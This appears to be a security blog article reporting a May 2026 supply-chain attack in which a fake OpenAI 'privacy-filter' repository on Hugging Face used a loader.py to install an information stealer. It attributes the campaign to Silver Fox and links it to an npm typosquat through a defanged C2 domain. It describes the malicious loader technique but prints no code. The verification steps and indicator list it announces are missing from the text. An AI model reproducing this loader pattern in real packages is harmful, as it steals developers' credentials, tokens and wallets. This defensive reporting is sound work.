Fake OpenAI Privacy Filter on Hugging Face: What Happened and How to Verify AI Models

In early May 2026, a malicious repository named Open-OSS/privacy-filter appeared on Hugging Face. It impersonated OpenAI's legitimate org and copied the official model card verbatim. Within 18 hours it was the #1 trending model on the platform with roughly 244,000 downloads. Behind the scenes, a loader.py was downloading a Rust-based information stealer onto every Windows machine that ran it.

The attack was discovered by HiddenLayer Research, which linked it to the WinOS 4.0 implant via prior Panther research on a parallel npm typosquat. Subsequent coverage from The Hacker News attributed the activity to Silver Fox, a Chinese threat actor associated with the ValleyRAT malware family. This guide covers what happened, how the multi-stage payload worked, and the seven verification steps every AI developer should run before calling from_pretrained on anything new.

OpenAI published a small open-source utility model called openai/privacy-filter in April 2026. It is the kind of release that gets a few thousand downloads from researchers and red-teamers and then quietly accumulates a slow tail of traffic. Attackers noticed the same thing the rest of us did, which is that anything with “OpenAI” in the name pulls disproportionate attention on Hugging Face.

A few weeks later they uploaded Open-OSS/privacy-filter from a brand-new account. The repo cloned OpenAI's model card verbatim. The only differences were a fake loader.py and a configuration that called it on load. According to BleepingComputer's coverage of the HiddenLayer findings, the model reached the top of Hugging Face's trending list inside 18 hours with around 244,000 downloads and 667 likes. Both numbers were likely inflated by bots, but the trending placement made the repo visible to legitimate developers searching for the real release.

The campaign was not a single repo. HiddenLayer documented a cluster of six sibling uploads from an account named anthfu (all uploaded April 24, 2026) that targeted other high-attention namespaces: Bonsai-8B-gguf, DeepSeek-V4-Pro, Qwopus-GLM-18B-Merged-GGUF, and others. All used the same loader pattern. A related npm package called trevlo, first flagged by Panther in April 2026, delivered the same WinOS 4.0 implant through the operator's parallel npm infrastructure.

Hugging Face disabled the repos shortly after disclosure. The npm package is gone. But for every researcher and developer who loaded the fake model during the 18-hour window, the stealer ran with their user privileges and shipped browser sessions, Discord tokens, wallet seed phrases, and FileZilla credentials out the door before anyone knew anything was wrong.

The fake model worked because Hugging Face is, by design, a code-distribution platform that happens to host tensors. Any repo can ship a loader.py that runs when you call from_pretrained. The five-stage chain that follows is reconstructed from HiddenLayer's technical writeup, and it is the same shape as a typical npm post-install attack, just adapted to the ML toolchain.

If you have read our coverage of the Axios npm supply chain attack or the Claude Code source map leak, the loader.py pattern looks familiar. It is essentially the npm post-install hook reinvented for the ML world. What makes the AI model supply chain a richer target is not the technique. It is the missing scaffolding.

npm has lockfiles, signed registry tarballs, npm audit, Socket.dev, Snyk, and a decade of muscle memory around .npmrc hardening. Hugging Face has tags, model cards, and a community trust signal in the form of likes and downloads. There is no widely adopted lockfile equivalent for model weights. There is no industry-standard signing mechanism for tensor files. The cultural default is trust_remote_code=True because some legitimate models genuinely need it.

That gap is where Silver Fox lived. Trending placement substituted for reputation. A copy-pasted model card substituted for code review. The 244,000 download number, inflated or not, substituted for a signed manifest. None of this is Hugging Face's fault any more than the Axios incident was npm's fault. It is the ecosystem maturing under attack.

None of the following checks is sufficient on its own. Layered together, every one of them would have caught the fake privacy filter inside 60 seconds. If you maintain an MLOps pipeline that pulls models from Hugging Face, codify these as CI steps instead of relying on the person running from_pretrained to remember them.

HiddenLayer's research connects the fake-model campaign to the WinOS 4.0 implant (also tracked as ValleyRAT) by linking its C2 domain welovechinatown[.]info to a parallel npm typosquat campaign documented by Panther in April 2026. Subsequent reporting from The Hacker News attributed the broader activity to Silver Fox, a Chinese-language threat actor best known for distributing WinOS 4.0 through phishing lures and trojanised installers aimed at Mandarin-speaking users.

Two things make this campaign notable as an evolution of the actor's tradecraft. First, the targeting shifted from regional phishing to the global developer audience that browses Hugging Face. Second, the operators ran a parallel npm push: a package called trevlo that delivered the same implant. Panther observed 866 downloads in their April 6 snapshot; CSO Online later reported the count had grown to roughly 2,300. HiddenLayer connects the two campaigns through the shared C2 domain welovechinatown[.]info.

The pattern matters because it confirms what defenders have suspected for a year: AI model registries and language package registries are now part of the same threat surface. The same operators are running both plays. The same defensive muscle you have built for one ecosystem applies to the other.

Source: HiddenLayer Research. Add these to your DNS sinkhole, EDR allowlists, and pip/Hugging Face audit rules.